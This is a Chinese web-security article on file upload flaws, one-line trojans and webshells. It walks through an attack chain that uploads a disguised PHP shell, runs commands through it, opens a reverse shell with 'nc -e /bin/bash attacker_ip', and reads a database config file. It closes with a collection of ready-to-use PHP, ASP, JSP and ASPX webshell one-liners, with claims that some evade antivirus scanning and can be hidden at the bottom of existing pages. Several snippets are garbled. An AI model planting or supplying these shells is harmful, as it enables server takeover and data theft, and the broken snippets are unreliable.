什么是文件上传漏洞
文件上传漏洞是指由于程序员在对用户文件上传部分的控制不足或者处理缺陷,而导致的用户可以越过其本身权限向服务器上上传可执行的动态脚本文件。这里上传的文件可以是木马,病毒,恶意脚本或者WebShell等。“文件上传”本身没有问题,有问题的是文件上传后,服务器怎么处理、解释文件。如果服务器的处理逻辑做的不够安全,则会导致严重的后果。
常见的文件上传漏洞利用方式包括:
上传恶意脚本文件:攻击者上传包含恶意代码(如PHP、ASP、JSP等脚本文件)的文件,并通过Web服务器访问这些文件,从而执行恶意操作。比如,上传一个evil.php文件并访问它,攻击者就能通过该文件执行任意PHP代码。
绕过文件类型检测:一些应用程序可能会对上传文件的类型进行限制(如仅允许图片文件),攻击者通过修改文件扩展名或修改文件头(例如伪造图片文件的魔数)来绕过这些检测,上传可执行文件或脚本文件。
上传大文件:某些应用程序可能未对上传文件大小进行严格限制,攻击者可能通过上传非常大的文件,导致服务器资源耗尽,造成拒绝服务(DoS)攻击。
路径遍历攻击:攻击者通过修改文件名或路径,试图将文件上传到Web服务器的敏感目录或系统目录,从而可能覆盖重要文件或者执行恶意代码。
什么是一句话木马(文末附带常用的一句话木马)
一句话木马是一种极简化的WebShell,通常只包含一行恶意代码,攻击者可以通过这行代码实现远程控制服务器、执行系统命令等恶意操作。与传统的WebShell文件不同,一句话木马通常非常小巧,且只用一行代码即可完成恶意任务,因此很难被检测和识别。
一句话木马的特点:
极小巧:通常只有一行代码,功能简单但强大,足以执行远程命令、上传文件或获取敏感信息。
易于传输和上传:由于其简短的特点,攻击者可以很容易通过各种方式(如通过URL、表单、HTTP请求等)注入到目标系统中。
隐蔽性强:因为代码非常简洁,容易绕过一些简单的安全检测和过滤系统(如WAF、文件上传限制等)。
什么是webshell
WebShell就是以asp、php、jsp或者cgi等网页文件形式存在的一种命令执行环境,也可以将其称之为一种网页后门。攻击者在入侵了一个网站后,通常会将这些asp或php后门文件与网站服务器web目录下正常的网页文件混在一起,然后使用浏览器来访问这些后门,得到一个命令执行环境,以达到控制网站服务器的目的(可以上传下载或者修改文件,操作数据库,执行任意命令等)。 WebShell后门隐蔽较性高,可以轻松穿越防火墙,访问WebShell时不会留下系统日志,只会在网站的web日志中留下一些数据提交记录
常见的WebShell类型:
PHP WebShell:最常见的类型,通常是一个包含PHP代码的文件,可以执行服务器上的命令。例如,一个PHP WebShell文件可能包含一个类似于 system($_GET['cmd']); 的简单代码,可以执行通过URL传入的系统命令。
ASP、JSP、Python等WebShell:除了PHP,还有ASP、JSP、Python等脚本语言编写的WebShell,功能类似,攻击者可以根据目标服务器的技术栈选择合适的WebShell。
前端WebShell:这种WebShell通过JavaScript或其他前端代码注入到网页中,虽然它不像传统的后端WebShell那样直接执行系统命令,但也可以用来执行各种恶意操作,如窃取用户数据、篡改页面内容等。
WebShell的常见功能:
执行系统命令:WebShell可以允许攻击者通过脚本执行任意的操作系统命令(如Linux的ls、cat命令,或Windows的dir、cmd命令),获取服务器信息。
文件上传与下载:攻击者可以利用WebShell上传、下载或删除服务器上的文件。
数据库操作:攻击者可以通过WebShell访问并修改数据库内容,如窃取敏感信息。
反向连接:一些WebShell支持反向Shell功能,攻击者通过它可以从目标服务器发起连接,绕过防火墙,获得外部连接。
建立持久化访问:攻击者可以通过WebShell保持长期的控制权限,避免被检测或删除。
WebShell的上传途径:
文件上传漏洞:攻击者通过文件上传漏洞上传恶意脚本文件,通常上传的文件可能会被命名为正常文件(如.jpg、.png、.txt等),但实际上是恶意的PHP、ASP等文件。
代码注入漏洞:通过代码注入漏洞(如SQL注入、XSS等)将恶意代码注入到服务器上,形成WebShell。
服务器配置错误:一些服务器配置不当(如上传目录权限过宽、没有禁用脚本执行等)可能导致WebShell能够上传并被执行。
文件上传漏洞,一句话木马,webshell 联动
文件上传漏洞、一句话木马和WebShell联动通常是黑客攻击Web应用的一种常见攻击链,通过这种联动,攻击者可以实现对目标服务器的完全控制。
1. 目标应用漏洞背景:
假设目标是一个博客网站,允许用户上传图片以显示头像,上传功能没有做足够的验证,只检查文件扩展名(例如 .jpg)而没有检查文件内容或文件类型,且上传的文件没有权限控制。
2. 攻击过程:
第一步:利用文件上传漏洞上传恶意文件
攻击者发现该应用存在文件上传功能,且文件上传没有做严格的文件类型验证。
攻击者准备一个恶意的 PHP WebShell 文件,通常这种文件是一个很简洁的PHP脚本(例如一句话木马)。攻击者将文件扩展名伪装成图片文件,但实际上它是一个PHP文件。
假设攻击者上传一个名为 evil.php.jpg 的文件。
虽然文件扩展名为 .jpg,但是文件内容实际上是一个PHP脚本:
内容: system($_GET['cmd']);
这个文件上传到服务器时,Web服务器没有检查文件内容,只检查扩展名,并允许文件上传成功。
第二步:访问上传的恶意文件,执行一句话木马
攻击者知道该文件上传到了Web服务器的 /uploads/ 目录,文件名是 evil.php.jpg。
攻击者通过访问这个文件并附加一个查询参数(例如 cmd),来执行服务器上的系统命令。
攻击者通过访问如下URL来执行命令:
http://xx.com/uploads/evil.php.jpg?cmd=ls
这时,evil.php.jpg 文件中的 system($_GET['cmd']); 就会执行 ls 命令,列出当前目录下的文件和文件夹。如果命令执行成功,攻击者就会获得Web服务器上的一些基本信息。
第三步:通过WebShell进一步攻击
攻击者可以通过多次访问恶意文件,执行更复杂的系统命令,列出Web服务器根目录、查看Web服务器的配置文件等。攻击者可以利用这一点获取更多的服务器信息,甚至通过执行其他命令来获取更高权限。
攻击者通过下面的命令反向连接自己的机器:
http://xx.com/uploads/evil.php.jpg?cmd=nc -e /bin/bash attacker_ip 1234
该命令会使Web服务器向攻击者的IP地址(attacker_ip)建立一个反向Shell连接,并通过端口 1234 向攻击者的机器发送一个Shell。
这时,攻击者的机器就能够接收到从Web服务器返回的Shell,获得服务器的命令行控制权。
第四步:完全控制服务器
一旦攻击者通过WebShell获得Shell访问权限,便能够执行任意命令。攻击者可以执行以下操作:
下载敏感文件(如数据库配置文件、用户数据等)。
修改Web服务器的配置,植入持久化的恶意程序。
安装后门,使得攻击者可以在未来重新访问服务器。
攻击者可以用以下命令下载数据库配置文件:
http://xx.com/uploads/evil.php.jpg?cmd=cat /var/www/html/config/database.php
或者利用反向Shell继续执行更多的操作。
##################################################
常用一句话木马
PHP
##PHP:
//?cmd=phpinfo();
$func =create_function('',$_REQUEST['cmd']);
$func();
?>
//?func=system&cmd=whoami
$func=$_GET['func'];
$cmd=$_GET['cmd'];
$array[0]=$cmd;
$new_array=array_map($func,$array);
//print_r($new_array);
?>
//?cmd=phpinfo()
@call_user_func(assert,$_GET['cmd']);
?>
//?cmd=phpinfo()
$cmd=$_GET['cmd'];
$array[0]=$cmd;
call_user_func_array("assert",$array);
?>
//?func=system&cmd=whoami
$cmd=$_GET['cmd'];
$array1=array($cmd);
$func =$_GET['func'];
array_filter($array1,$func);
?>
php环境>=<5.6才能用
php环境>=5.6才能用
//容错代码
//使用Lanker一句话客户端的专家模式执行相关的PHP语句
<?$_POST['c']($_POST['cc']);?>
<?$_POST['c']($_POST['cc'],$_POST['cc'])?>
/*使用这个后,使用菜刀一句话客户端在配置连接的时候在"配置"一栏输入*/:<O>h=@eval_r($_POST1);</O>
<scriptlanguage="php">@eval_r($_POST[sb])</script> //绕过<?限制的一句话
上面这句是防杀防扫的!网上很少人用!可以插在网页任何ASP文件的最底部不会出错,比如 index.asp里面也是可以的!
加了判断的PHP一句话,与上面的ASP一句话相同道理,也是可以插在任何PHP文件 的最底部不会出错!
<%execute request(“class”)%><%'<% loop <%:%><%'<% loop <%:%><%execute request (“class”)%><%execute request(“class”)'<% loop <%:%>
无防下载表,有防下载表可尝试插入以下语句突破的一句话
<%eval(request(“1″)):response.end%> 备份专用
JSP
##JSP:
<%if(request.getParameter("f")!=null)(newjava.io.FileOutputStream (application.getRealPath("\")+request.getParameter("f"))).write (request.getParameter("t").getBytes());%>
提交客户端
<form action="" method="post"><textareaname="t"></textarea><br/><input type="submit"value="提交"></form>
ASP
##ASP
<%eval(Request.Item["r00ts"],”unsafe”);%>
<%IfRequest(“1″)<>”"ThenExecuteGlobal(Request(“1″))%>
<%execute(request(“1″))%>
<scriptrunat=server>execute request(“1″)</script> 不用'<,>‘的asp一句话
ASPX
##aspx
<scriptrunat=”server”>WebAdmin2Y.x.y aaaaa =newWebAdmin2Y.x.y (“add6bb58e139be10″);</script>
<scriptlanguage="C#"runat="server">WebAdmin2Y.x.y a=newWebAdmin2Y.x.y("add6bb58e139be10")</script>
<%eval request(chr(35))%> 不用双引号的一句话。
原文始发于微信公众号(信安一把索):web漏洞挖掘方法 - 文件上传篇
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论